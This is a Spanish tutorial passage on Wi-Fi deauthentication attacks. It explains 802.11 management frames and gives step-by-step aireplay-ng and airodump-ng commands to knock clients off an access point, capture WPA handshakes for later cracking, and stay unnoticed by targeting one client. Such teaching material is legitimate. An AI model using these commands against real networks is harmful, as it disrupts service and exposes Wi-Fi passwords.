2. Deautenticación (Deauth)

2. Deautenticación (Deauth)

¿Qué es un ataque de deauth?

Un ataque de **deautenticación** explota las tramas de **gestión** del estándar 802.11 para **expulsar clientes** de un punto de acceso (AP). Se envían falsos paquetes de “deauthenticate” (tipo 0x0C) a los clientes o al AP, obligándolos a desconectarse. Cuando intentan reconectarse, podemos capturar el **handshake** WPA/WPA2.

Conceptos básicos de 802.11 relevantes

1. **Tramas de gestión**:
   - Controlan la conexión de los dispositivos: autenticación, asociación, desautenticación, beacon, probe.
   - **Deauthentication frame**: notifica al receptor que quede fuera de la red.
2. **Direcciones MAC** en una trama de gestión:
   - **Destino**: cliente o AP que recibe la orden.
   - **Origen**: el que envía la deauth (puede falsificarse a la MAC del AP).
   - **BSSID**: MAC del AP destino de las tramas originales.

¿Por qué funciona?

- **Sin cifrado ni firma** de las tramas de gestión en WPA/WPA2 (únicamente en 802.11w Management Frame Protection, raro en redes domésticas), cualquier estación puede enviar tramas de deauth válidas.
- El cliente, al recibirlas, asume que el AP “real” lo está expulsando y cierra la conexión.

Objetivos del ataque deauth

1. **Forzar la reconexión** de clientes para capturar el handshake WPA/WPA2.
2. **Interrumpir temporalmente** la comunicación de todos o un solo cliente.
3. **Inducir clientes** a caer en un AP malicioso (Evil Twin).

Herramienta principal: `aireplay-ng`

Parte de la suite **aircrack-ng**, `aireplay-ng` permite inyectar tramas de gestión. Sus modos de uso:

- **Deauth broadcast (todos los clientes):**

```
sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon
```

Envía 10 tramas deauth a **todos** los clientes del AP.

- **Deauth un cliente específico:**

```
sudo aireplay-ng --deauth 10 -a <BSSID> -c <MAC_CLIENTE> wlan0mon
```

Solo el cliente con MAC `<MAC_CLIENTE>` recibe las tramas.

Parámetros clave

Opción	Descripción
`--deauth N`	Número de paquetes deautenticación a enviar (repeticiones).
`-a BSSID`	Dirección MAC del AP objetivo.
`-c MAC`	Dirección MAC del cliente específico.
`<iface>`	Interfaz en modo monitor (ej. `wlan0mon`).

Flujo típico de ataque deauth

1. **Escaneo y selección de objetivo**
   Obtén BSSID y MAC de cliente con `airodump-ng`:

   ```
   sudo airodump-ng wlan0mon
   ```

2. **Ejecutar deauth**
   - Broadcast para capturar handshake de cualquier cliente:

     ```
     sudo aireplay-ng --deauth 20 -a E4:47:B3:F0:E9:30 wlan0mon
     ```

   - Un solo cliente para evitar llamar la atención:

     ```
     sudo aireplay-ng --deauth 20 -a E4:47:B3:F0:E9:30 -c 00:11:22:33:44:55 wlan0mon
     ```

3. **Captura automática del handshake**
   Si simultáneamente lanzas:

   ```
   sudo airodump-ng --bssid E4:47:B3:F0:E9:30 -c 6 -w capture wlan0mon
   ```

   Verás en la esquina superior derecha “WPA handshake: E4:47:B3:F0:E9:30” cuando un cliente se reconecte.

Ejemplo práctico completo

Supongamos:

- **BSSID** del AP: `28:77:77:74:B1:AC`
- **Canal**: `11`
- Usamos interfaz **`wlan0mon`**.

1. **Abrir dos terminales**:
   - **Terminal A** (captura handshake):

     ```
     sudo airodump-ng --bssid 28:77:77:74:B1:AC -c 11 -w oficina wlan0mon
     ```

   - **Terminal B** (ataque deauth):

     ```
     sudo aireplay-ng --deauth 15 -a 28:77:77:74:B1:AC wlan0mon
     ```

2. **Resultado**:
   - Terminal A mostrará algo como:

     ```
     WPA handshake: 28:77:77:74:B1:AC
     ```

     indicando que capturaste el handshake.

3. **Post-ataque**:
   - Usarás ese archivo `oficina-01.cap` para intentar romper la clave con `aircrack-ng` o `hashcat`.
